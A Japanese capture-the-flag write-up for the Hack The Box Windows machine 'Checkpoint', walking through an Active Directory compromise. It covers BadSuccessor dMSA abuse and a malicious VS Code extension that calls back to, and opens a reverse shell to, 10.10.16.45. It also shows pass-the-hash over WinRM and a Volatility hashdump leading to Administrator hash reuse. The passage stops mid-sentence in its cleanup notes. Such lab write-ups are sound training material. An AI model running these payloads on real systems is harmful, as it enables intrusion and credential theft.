HTB Checkpoint writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”Checkpoint は AD の列挙と権限悪用が中心にありつつ、最後は SMB 共有、VS Code 拡張、VMware snapshot、メモリフォレンジックまで追わせる Windows Medium box だった。
一言でまとめると、alex.turner -> mark.davies -> ryan.brooks -> svc_deploy -> VMBackups -> Administrator という流れ。途中で AD の権限悪用を使うが、root 直前は「バックアップから hash を抜いて使い回しを試す」という泥臭い enum が決め手になった。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Checkpoint |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”alex.turner / Checkpoint2024! | | LDAP/SMB enumeration | CREATE_CHILD msDS-DelegatedManagedServiceAccount on OU=Employees vBadSuccessor -> mark.davies hash | | mark.davies can write DevDrop vMalicious VSIX in DevDrop | | VS Code loads extension as ryan.brooks vryan.brooks shell | | GenericWrite over svc_deploy vBadSuccessor -> svc_deploy hash | | WinRM + VMBackups READ vDownload Windows Server 2019-Snapshot1.vmem | | Volatility hashdump vLocal Administrator NTLM hash | | Hash reused for CHECKPOINT\Administrator vDomain Admin shell -> root.txtTarget
Section titled “Target”10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01/etc/hosts:
10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01Nmap は最初に全 port を aggressive scan した。
nmap -sS -A -p- --min-rate 10000 10.129.13.247 > checkpoint.nmapcheckpoint.nmap 全文。
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-14 04:08 +0900Nmap scan report for 10.129.13.247Host is up (0.43s latency).Not shown: 65514 filtered tcp ports (no-response)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-14 02:08:31Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ldapssl?3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)3269/tcp open globalcatLDAPssl?5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49664/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPC49673/tcp open msrpc Microsoft Windows RPC49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049677/tcp open msrpc Microsoft Windows RPC49703/tcp open msrpc Microsoft Windows RPC49712/tcp open msrpc Microsoft Windows RPCWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning (JUST GUESSING): Microsoft Windows 2022 (88%)OS CPE: cpe:/o:microsoft:windows_server_2022Aggressive OS guesses: Microsoft Windows Server 2022 (88%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-time:| date: 2026-06-14T02:09:41|_ start_date: N/A| smb2-security-mode:| 3.1.1:|_ Message signing enabled and required|_clock-skew: 6h59m58s
TRACEROUTE (using port 445/tcp)HOP RTT ADDRESS1 373.29 ms 10.10.16.12 558.11 ms 10.129.13.247
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 147.63 secondsこの nmap を眺めた時点で見るべきこと。
53/88/389/445/464/3268/9389が揃っているので、ほぼ AD DC と見てよい。389と3268がDomain: checkpoint.htbを返しているので、domain 名と LDAP enum の入口が得られる。5985が open なので、有効な認証情報を得たら WinRM を試す価値がある。636/3269はldapssl?/globalcatLDAPssl?だが、後続で TLS handshake が reset される。LDAPS が安定して使える前提にしない。smb2-security-modeで signing required。NTLM relay ではなく、正規 creds / Kerberos / LDAP の方向で考える。clock-skew: 6h59m58sが非常に重要。Kerberos tooling の失敗原因になり、BloodHound/RustHound の動作にも影響する。- web は
5985の WinRM HTTPAPI のみで、通常の Web app 起点ではない。
時刻ズレが約 7 時間あった。
smb2-time date: 2026-06-14T02:09:41clock-skew: 6h59m58sKerberos を使うコマンドでは faketime を使った。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' <command>faketime '+7h' は環境によって解釈されなかったため、'+7 hours' を使った。
Initial Credentials
Section titled “Initial Credentials”alex.turner / Checkpoint2024!Initial Enumeration
Section titled “Initial Enumeration”SMB。
netexec smb 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' --shares重要な結果。
DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0IPC$ READNETLOGON READSYSVOL READVMBackupsalex.turner では DevDrop は READ のみ、VMBackups も使えなかった。
WinRM も不可。
netexec winrm 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!'[-] checkpoint.htb\alex.turner:Checkpoint2024!AS-REP roast と通常の Kerberoast は初期段階では空振り。
GetUserSPNs.py checkpoint.htb/alex.turner:'Checkpoint2024!' \ -dc-ip 10.129.13.247 -request -outputfile kerberoast.hashes
GetNPUsers.py checkpoint.htb/alex.turner:'Checkpoint2024!' \ -dc-ip 10.129.13.247 -request -outputfile asrep.hashesNo entries found!LDAP and Group Enumeration
Section titled “LDAP and Group Enumeration”ユーザー、グループ、コンピュータを列挙。
netexec ldap 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' --users --groups --computers注目ユーザー。
alex.turnerryan.brookssvc_deploy Deployment service accountmax.palmersvc_deploy の所属確認。
netexec ldap 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query "(sAMAccountName=svc_deploy)" \ "sAMAccountName memberOf description userAccountControl"description Deployment service accountmemberOf CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htb CN=Remote Management Users,CN=Builtin,DC=checkpoint,DC=htbuserAccountControl 66048sAMAccountName svc_deployこの時点で svc_deploy は非常に本命に見える。Remote Management Users に所属しているため、認証情報を取れれば WinRM できる可能性が高い。BackupAccess は後で VMBackups 共有につながる。
グループ周り。
netexec ldap 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query "(|(cn=DevTeam)(cn=IT-Staff)(cn=VPN-Users)(cn=Domain Admins)(cn=Group Policy Creator Owners))" \ "cn member"重要な結果。
DevTeam: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IT-Staff: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
VPN-Users: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
Domain Admins: CN=max.palmer,CN=Users,DC=checkpoint,DC=htb CN=Administrator,CN=Users,DC=checkpoint,DC=htb
Group Policy Creator Owners: CN=Administrator,CN=Users,DC=checkpoint,DC=htbmax.palmer が Domain Admins であることは最後まで重要なヒントだった。ただし最終的には max.palmer ではなく Administrator の hash reuse で root に到達した。
BloodHound / RustHound
Section titled “BloodHound / RustHound”最初は BloodHound が LDAPS に逃げて失敗した。原因は時刻ズレ。
Failed to get Kerberos TGT ... KRB_AP_ERR_SKEW(Clock skew too great)LDAP Authentication is refused because LDAP signing is enabled.Trying to connect over LDAPS instead...socket ssl wrapping error: [Errno 104] Connection reset by peer解釈。
- Kerberos を使おうとする。
- 時刻ズレで失敗。
- NTLM LDAP にフォールバック。
- LDAP signing 必須のため拒否。
- LDAPS に逃げる。
- しかし LDAPS / GCSSL が reset されて失敗。
LDAPS を直すのではなく、Kerberos の時刻ズレを合わせるのが正しい対応だった。
RustHound も最初は realm 解決に失敗した。
Cannot find KDC for realm "CHECKPOINT.HTB"/etc/hosts と Kerberos 設定、faketime 後に収集成功。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb \ -u alex.turner@checkpoint.htb -k -zBloodHound / RustHound で重要だった点。
alex.turner: OU=Employees に msDS-DelegatedManagedServiceAccount を CREATE_CHILD 可能
ryan.brooks: svc_deploy に GenericWrite
svc_deploy: Remote Management Users BackupAccess
max.palmer: Domain AdminsAD CS Is a Dead End
Section titled “AD CS Is a Dead End”ヒントとして AD CS / ESC 系の一般論が出ていたが、実測では死に筋だった。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \certipy find -k \ -target DC01.checkpoint.htb \ -dc-ip 10.129.13.247 \ -ldap-scheme ldap \ -stdout -vulnerable -debug[*] Found 0 certificate templates[*] Found 0 certificate authorities[*] Found 0 enabled certificate templatesCertificate Authorities : [!] Could not find any CAsCertificate Templates : [!] Could not find any certificate templatessvc_deploy 取得後にも再確認した。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \certipy find \ -u svc_deploy@checkpoint.htb \ -hashes :e16081eb077aca74bdbf8af12af43ac9 \ -dc-ip 10.129.13.247 \ -target DC01.checkpoint.htb \ -ldap-scheme ldap \ -stdout -vulnerable[*] Found 0 certificate templates[*] Found 0 certificate authoritiesCertificate Authorities : [!] Could not find any CAsCertificate Templates : [!] Could not find any certificate templatesPKINIT 系も失敗。
KDC_ERR_PADATA_TYPE_NOSUPPwinPEAS でも以下だった。
Certificate Authority not found. Skipping.No templates with dangerous rights found (checked 0).Obtaining mark.davies via BadSuccessor
Section titled “Obtaining mark.davies via BadSuccessor”alex.turner は OU=Employees 配下に dMSA を作成できた。
msDS-DelegatedManagedServiceAccount: CREATE_CHILDまず mark.davies を対象に BadSuccessor を試した。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ add badSuccessor checkpoint-mark \ -t 'CN=mark.davies,OU=Employees,DC=checkpoint,DC=htb' \ --ou 'OU=Employees,DC=checkpoint,DC=htb'自動取得は KDC_ERR_ETYPE_NOTSUPP で失敗したが、dMSA と対象リンクは作成されていた。
CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htbmsDS-SupersededServiceAccountState: 2msDS-SupersededManagedAccountLink: CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htb手動で badS4U2self を使った。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \badS4U2self \ 'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \ 'krbtgt/checkpoint.htb@checkpoint.htb' \ 'checkpoint-mark$@checkpoint.htb' \ --dmsa --ccache checkpoint-mark.ccache -v得られた key。
dMSA current keys:AES256: 4c07c662152bbabd0f6fb315a37285090de20b0dfb9f9960973eb896d7520b13AES128: e2343d27056dbac43b4848097025b2a7RC4: 24e91eda5448004829cbde8bcde949a7
dMSA previous keys:RC4: 0b28e49d9deb96f99d74578e214faec2previous keys の RC4 が mark.davies の NTLM hash として使えた。
netexec smb DC01.checkpoint.htb -d checkpoint.htb \ -u mark.davies -H 0b28e49d9deb96f99d74578e214faec2 --shares重要な結果。
[+] checkpoint.htb\mark.davies:0b28e49d9deb96f99d74578e214faec2DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0VMBackupsmark.davies は WinRM 不可、VMBackups も access denied。だが DevDrop に書けるため、次の足掛かりになった。
DevDrop and Malicious VSIX
Section titled “DevDrop and Malicious VSIX”DevDrop の説明は非常に具体的だった。
VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0これは .vsix を置けば、誰かの VS Code が読み込む可能性を示している。
最初は callback のみの extension で実行ユーザーを確認した。
package.json:
{ "name": "checkpoint-tools-2", "displayName": "Checkpoint Tools 2", "version": "1.0.1", "publisher": "checkpoint", "engines": { "vscode": "^1.118.0" }, "activationEvents": ["*", "onStartupFinished"], "extensionKind": ["workspace"], "main": "./extension.js", "categories": ["Other"]}extension.js:
const os = require('os');const http = require('http');
function activate() { const msg = `host=${os.hostname()} user=${os.userInfo().username} time=${new Date().toISOString()}\n`; http.get('http://10.10.16.45:8000/vsix?' + encodeURIComponent(msg)).on('error', () => {});}
function deactivate() {}module.exports = { activate, deactivate };package 化。
npx --yes @vscode/vsce packagemark.davies で DevDrop にアップロード。
smbclient //DC01.checkpoint.htb/DevDrop \ -U 'checkpoint.htb/mark.davies%0b28e49d9deb96f99d74578e214faec2' \ --pw-nt-hash -m SMB3 \ -c 'put checkpoint-tools-2-1.0.1.vsix'HTTP callback。
GET /vsix?host=DC01 user=ryan.brooks time=2026-06-14T06:52:49.154ZVSIX は ryan.brooks として実行されていた。
次に reverse shell 版へ差し替えた。
const net = require('net');const cp = require('child_process');
function connect() { const s = net.connect(4444, '10.10.16.45', () => { const sh = cp.spawn('cmd.exe', [], { windowsHide: true, stdio: ['pipe', 'pipe', 'pipe'] }); s.pipe(sh.stdin); sh.stdout.pipe(s); sh.stderr.pipe(s); sh.on('exit', () => s.end()); });
s.on('error', () => setTimeout(connect, 10000)); s.on('close', () => setTimeout(connect, 10000));}
function activate() { connect();}
function deactivate() {}module.exports = { activate, deactivate };listener。
rlwrap -cAr nc -lvnp 4444ryan.brooks の shell を取得し、user flag を取得。
type C:\Users\ryan.brooks\Desktop\user.txtRyan Brooks Enumeration
Section titled “Ryan Brooks Enumeration”ryan.brooks の profile も調査した。
dir "%APPDATA%\Code\User\globalStorage" /s /bC:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdbC:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdb.backupstate.vscdb はロックされていたため、読み取り共有でコピー。
$src=Join-Path $env:APPDATA 'Code\User\globalStorage\state.vscdb'$dst=Join-Path $env:TEMP 'state.vscdb.copy'$in=[IO.File]::Open($src,[IO.FileMode]::Open,[IO.FileAccess]::Read,[IO.FileShare]::ReadWrite)$out=[IO.File]::Open($dst,[IO.FileMode]::Create,[IO.FileAccess]::Write,[IO.FileShare]::None)$in.CopyTo($out)$out.Close()$in.Close()検索。
$p=Join-Path $env:TEMP 'state.vscdb.copy'$s=[Text.Encoding]::UTF8.GetString([IO.File]::ReadAllBytes($p))$s -split '[\x00-\x1f]+' | ? {$_ -match 'svc_deploy|password|passwd|pwd|backup|deploy|secret|token|credential|winrm|vmbackup'} | select -First 80ここから有効な資格情報は得られなかった。VS Code 経由は shell 取得までが役割だった。
BadSuccessor to svc_deploy
Section titled “BadSuccessor to svc_deploy”BloodHound では ryan.brooks が svc_deploy に GenericWrite を持っていた。
alex.turner 単体で svc_deploy に BadSuccessor を実行すると、dMSA 作成までは進むが、svc_deploy 側の属性更新で失敗する。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ add badSuccessor checkpoint-svc \ -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \ --ou 'OU=Employees,DC=checkpoint,DC=htb'[+] Creating DMSA checkpoint-svc$ in OU=Employees,DC=checkpoint,DC=htb[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htbLDAPModifyException: insufficientAccessRights for CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htbdMSA 自体は作成されていた。
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query '(sAMAccountName=checkpoint-svc$)' \ 'distinguishedName msDS-ManagedAccountPrecededByLink msDS-DelegatedMSAState'distinguishedName CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htbmsDS-DelegatedMSAState 2msDS-ManagedAccountPrecededByLink CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htbそこで、ryan.brooks の shell から svc_deploy の属性を手動更新した。
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'$u.PutEx(2,'msDS-SupersededManagedAccountLink',@('CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb'))$u.Put('msDS-SupersededServiceAccountState',2)$u.SetInfo()確認。
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query '(sAMAccountName=svc_deploy)' \ 'msDS-SupersededManagedAccountLink msDS-SupersededServiceAccountState'msDS-SupersededServiceAccountState 2msDS-SupersededManagedAccountLink CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htbbadS4U2self で dMSA の TGS から previous key を取得。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \badS4U2self \ 'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \ 'krbtgt/checkpoint.htb@checkpoint.htb' \ 'checkpoint-svc$@checkpoint.htb' \ --dmsa --ccache checkpoint-svc.ccache -vdMSA current keys:AES256: 408219f3c004ed32c5da3ea25316c477d0881d0e1ceea397be200fa76639c45cAES128: c7cbdb50193478a1ebfd3819af93cc03RC4: 6d094f4755a41b8b08e98f72239d1d77
dMSA previous keys:RC4: e16081eb077aca74bdbf8af12af43ac9previous keys の RC4 が svc_deploy の NTLM hash として使えた。
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \ -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9[+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9 (Pwn3d!)svc_deploy Enumeration
Section titled “svc_deploy Enumeration”WinRM。
uv run evil-winrm-py -i 10.129.13.247 \ -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9whoami /all。
checkpoint\svc_deploy
Groups: BUILTIN\Remote Management Users CHECKPOINT\BackupAccess
Privileges: SeMachineAccountPrivilege SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilegeBackupAccess という名前だが、SeBackupPrivilege は無い。つまり NTFS を無視して DC のファイルを読むタイプではなく、特定共有へのアクセス権と判断した。
SMB shares。
netexec smb DC01.checkpoint.htb -d checkpoint.htb \ -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --sharesIPC$ READNETLOGON READSYSVOL READVMBackups READVMBackups
Section titled “VMBackups”svc_deploy で VMBackups にアクセス。
smbclient //DC01.checkpoint.htb/VMBackups \ -U 'checkpoint.htb/svc_deploy%e16081eb077aca74bdbf8af12af43ac9' \ --pw-nt-hash -m SMB3smb: \> lsNightlyBackup_2024-11-01
smb: \> cd NightlyBackup_2024-11-01smb: \NightlyBackup_2024-11-01\> lsmemory forensics
smb: \NightlyBackup_2024-11-01\> cd "memory forensics"smb: \NightlyBackup_2024-11-01\memory forensics\> lsWindows Server 2019-000001.vmdk 106496000Windows Server 2019-Snapshot1.vmem 2147483648Windows Server 2019-Snapshot1.vmsn 138164859Windows Server 2019.nvram 270840Windows Server 2019.scoreboard 7642Windows Server 2019.vmdk 10199695360Windows Server 2019.vmsd 502Windows Server 2019.vmx 2749Windows Server 2019.vmxf 274memory forensics というディレクトリ名と .vmem が本命。Windows Server 2019.vmdk は 10GB あり、全員に base disk を落とさせる意図には見えにくい。まず .vmem を落とす。
smbclient や evil-winrm の download は大きなファイルで不安定だったため、resume 可能な SMB downloader を使った。
python3 smb_range_get.py \ --target DC01.checkpoint.htb --host 10.129.13.247 \ --domain checkpoint.htb -u svc_deploy \ -H e16081eb077aca74bdbf8af12af43ac9 \ --share VMBackups \ --remote 'NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem' \ --output 'vmbackup/Windows Server 2019-Snapshot1.vmem' \ --chunk 1048576 \ --timeout 600使用した smb_range_get.py。
#!/usr/bin/env python3import argparseimport ntpathimport osimport sysimport time
from impacket.smbconnection import SMBConnectiontry: from impacket.smb3structs import ( FILE_ATTRIBUTE_NORMAL, FILE_NON_DIRECTORY_FILE, FILE_OPEN, FILE_READ_DATA, FILE_SHARE_DELETE, FILE_SHARE_READ, FILE_SHARE_WRITE, )except ImportError: FILE_READ_DATA = 0x00000001 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 FILE_SHARE_DELETE = 0x00000004 FILE_NON_DIRECTORY_FILE = 0x00000040 FILE_OPEN = 0x00000001 FILE_ATTRIBUTE_NORMAL = 0x00000080
def parse_hashes(value): if not value: return "", "" if ":" in value: lmhash, nthash = value.split(":", 1) return lmhash, nthash return "aad3b435b51404eeaad3b435b51404ee", value
def connect(args): conn = SMBConnection( remoteName=args.target, remoteHost=args.host or args.target, sess_port=args.port, timeout=args.timeout, ) lmhash, nthash = parse_hashes(args.hashes) conn.login(args.username, args.password or "", args.domain, lmhash, nthash) return conn
def remote_size(conn, share, remote_path): directory = ntpath.dirname(remote_path) or "\\" basename = ntpath.basename(remote_path) pattern = ntpath.join(directory, basename) matches = conn.listPath(share, pattern) for item in matches: if item.get_longname().lower() == basename.lower(): return item.get_filesize() raise FileNotFoundError(remote_path)
def main(): parser = argparse.ArgumentParser(description="Resume-friendly SMB file downloader") parser.add_argument("--target", required=True, help="SMB server name, e.g. DC01.checkpoint.htb") parser.add_argument("--host", help="SMB server IP/host if different from --target") parser.add_argument("--domain", default="", help="Domain name") parser.add_argument("-u", "--username", required=True) parser.add_argument("-p", "--password", default="") parser.add_argument("-H", "--hashes", default="", help="NT hash or LM:NT") parser.add_argument("--share", required=True) parser.add_argument("--remote", required=True, help="Remote path inside share") parser.add_argument("--output", required=True) parser.add_argument("--chunk", type=int, default=1024 * 1024, help="Read chunk size") parser.add_argument("--timeout", type=int, default=60) parser.add_argument("--port", type=int, default=445) parser.add_argument("--sleep", type=float, default=2.0) args = parser.parse_args()
remote_path = args.remote.replace("/", "\\").lstrip("\\") os.makedirs(os.path.dirname(os.path.abspath(args.output)) or ".", exist_ok=True)
conn = connect(args) size = remote_size(conn, args.share, remote_path) conn.logoff()
offset = os.path.getsize(args.output) if os.path.exists(args.output) else 0 if offset > size: raise RuntimeError(f"local file is larger than remote file: {offset} > {size}")
while offset < size: conn = None try: conn = connect(args) tid = conn.connectTree(args.share) fid = conn.openFile( tid, remote_path, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, fileAttributes=FILE_ATTRIBUTE_NORMAL, ) with open(args.output, "ab") as out: while offset < size: want = min(args.chunk, size - offset) data = conn.readFile(tid, fid, offset, want) if not data: raise RuntimeError("empty read") out.write(data) offset += len(data) pct = offset * 100 / size print(f"\r{offset}/{size} bytes ({pct:.2f}%)", end="", flush=True) conn.closeFile(tid, fid) conn.disconnectTree(tid) conn.logoff() except KeyboardInterrupt: print("\nInterrupted", file=sys.stderr) raise except Exception as exc: print(f"\n[!] {type(exc).__name__}: {exc}; retrying from offset {offset}", file=sys.stderr) try: if conn: conn.logoff() except Exception: pass time.sleep(args.sleep)
print()
if __name__ == "__main__": main()補足: Windows Server 2019-000001.vmdk は差分 VMDK で、descriptor に親 disk が指定されていた。
parentFileNameHint="Windows Server 2019.vmdk"base VMDK なしでは disk chain としては扱いづらい。
Volatility
Section titled “Volatility”.vmem に対して Volatility 3 を実行。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.infoVolatility 3 Framework 2.28.1Major/Minor 15.17763NtProductType NtProductServerSystemTime 2026-05-09 14:08:58+00:00NtSystemRoot C:\Windowsプロセス確認。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.pslist | rg -i 'lsass|winlogon|explorer|powershell|cmd'winlogon.exelsass.exeexplorer.exesession 確認。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.sessions重要な結果。
WORKGROUP/WIN-0DG6SJAEUTA$WIN-0DG6SJAEUTA/Administrator
1 Console 1304 explorer.exe WIN-0DG6SJAEUTA/Administratorこの .vmem は checkpoint.htb の DC ではなく、WIN-0DG6SJAEUTA という workgroup の Windows Server 2019 VM のメモリだった。Administrator がログオンしている。
registry hives もメモリ上に存在。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hivelist\SystemRoot\System32\Config\SAM\SystemRoot\System32\Config\SECURITY\SystemRoot\System32\Config\SYSTEM\??\C:\Users\Administrator\ntuser.dathashdump。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.hashdumpまたは新しい plugin 名で:
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hashdump結果。
User rid lmhash nthashAdministrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3bGuest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 28f8d934dee90b2ec824351cb0844479cachedump は空だった。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.cachedumplsadump は DPAPI_SYSTEM と NL$KM のみで、直接的なドメイン資格情報はなかった。
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.lsadump重要なのは Administrator の NTLM hash。
f29e9c014295b9b32139b09a2790be3bこれは WIN-0DG6SJAEUTA\Administrator のローカル hash だが、DC 側の CHECKPOINT\Administrator で reuse されていた。
Root via Hash Reuse
Section titled “Root via Hash Reuse”まず SMB で確認。
netexec smb DC01.checkpoint.htb -d checkpoint.htb \ -u Administrator -H f29e9c014295b9b32139b09a2790be3b[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)WinRM も通る。
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \ -u Administrator -H f29e9c014295b9b32139b09a2790be3b[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)Evil-WinRM。
uv run evil-winrm-py -i 10.129.13.247 \ -u Administrator -H f29e9c014295b9b32139b09a2790be3bC:\Users\Administrator\Desktop は空で、root.txt はなかった。
cd C:\Users\Administrator\Desktoptype root.txtCannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.念のため identity を確認。
whoami /allcheckpoint\administrator
Groups: BUILTIN\Administrators CHECKPOINT\Domain Admins CHECKPOINT\Schema Admins CHECKPOINT\Enterprise Admins
Privileges: SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeTakeOwnershipPrivilege ...Domain Admin 権限は確実にある。flag は別 profile にあった。
Get-ChildItem C:\Users -ForceAdministratormax.palmerPublicryan.brookssvc_deployroot.txt を検索。
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue | Select-Object FullNameC:\Users\max.palmer\Desktop\root.txt取得。
type C:\Users\max.palmer\Desktop\root.txt[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”636 / 3269 は open に見えたが、handshake が reset される。
openssl s_client -connect 10.129.13.247:3269 \ -servername DC01.checkpoint.htb -showcerts </dev/nullno peer certificate availableSSL handshake has read 0 byteswrite:errno=104BloodHound が LDAPS に逃げて失敗するのは症状であり、根本原因は Kerberos の時刻ズレだった。
Certificate Service DCOM Access や cert 関連の文字列は見えたが、CA / template は存在しなかった。ESC 系は切ってよい。
Kerberoast
Section titled “Kerberoast”ryan.brooks から svc_deploy に SPN を付けて Kerberoast も試した。
VSIX から実行したコマンド。
const cmd = 'setspn.exe -S http/checkpoint-vsix svc_deploy';TGS 取得。
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \impacket-GetUserSPNs checkpoint.htb/alex.turner:'Checkpoint2024!' \ -dc-ip 10.129.13.247 \ -dc-host DC01.checkpoint.htb \ -request-user svc_deploy \ -outputfile svc_deploy.hashServicePrincipalName Name MemberOfhttp/checkpoint-vsix svc_deploy CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htbRC4 TGS を得るために msDS-SupportedEncryptionTypes を変更して試したが、rockyou では割れなかった。
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'$u.Put('msDS-SupportedEncryptionTypes',4)$u.SetInfo()hashcat -m 13100 svc_deploy_rc4.hash /usr/share/wordlists/rockyou.txtStatus...........: ExhaustedRecovered........: 0/1最終経路ではない。
svc_deploy local privesc
Section titled “svc_deploy local privesc”winPEAS は以下を出したが、svc_deploy は local admin ではない。
CredentialGuard is not enabledLSA Protection is not enabledcachedlogonscount is 10DefaultUserName: ryan.brooksmax.palmer: User Type AdministratorDefaultPassword は空。SeBackupPrivilege もない。ローカル権限昇格より VMBackups を読むのが本線。
Machine certificate
Section titled “Machine certificate”winPEAS は machine certificate を検出した。
Issuer : CN=dc01.checkpoint.htbSubject : CN=dc01.checkpoint.htbHasPrivateKey : TrueKeyExportable : TrueThumbprint : F6F448711CBD3E6424F88B0072DEE6152045F180しかし svc_deploy で export すると keyset が無い。
certutil -store My F6F448711CBD3E6424F88B0072DEE6152045F180certutil -exportPFX My F6F448711CBD3E6424F88B0072DEE6152045F180 C:\Users\svc_deploy\Documents\dc01.pfxMissing stored keysetCertUtil: -exportPFX command FAILED: 0x80090016 NTE_BAD_KEYSETCertUtil: Keyset does not existAD CS / PKINIT も死んでいるため、これは追わない。
Cleanup Notes
Section titled “Cleanup Notes”検証後に戻すなら、以下を確認する。
svc_deploy に追加した SPN:
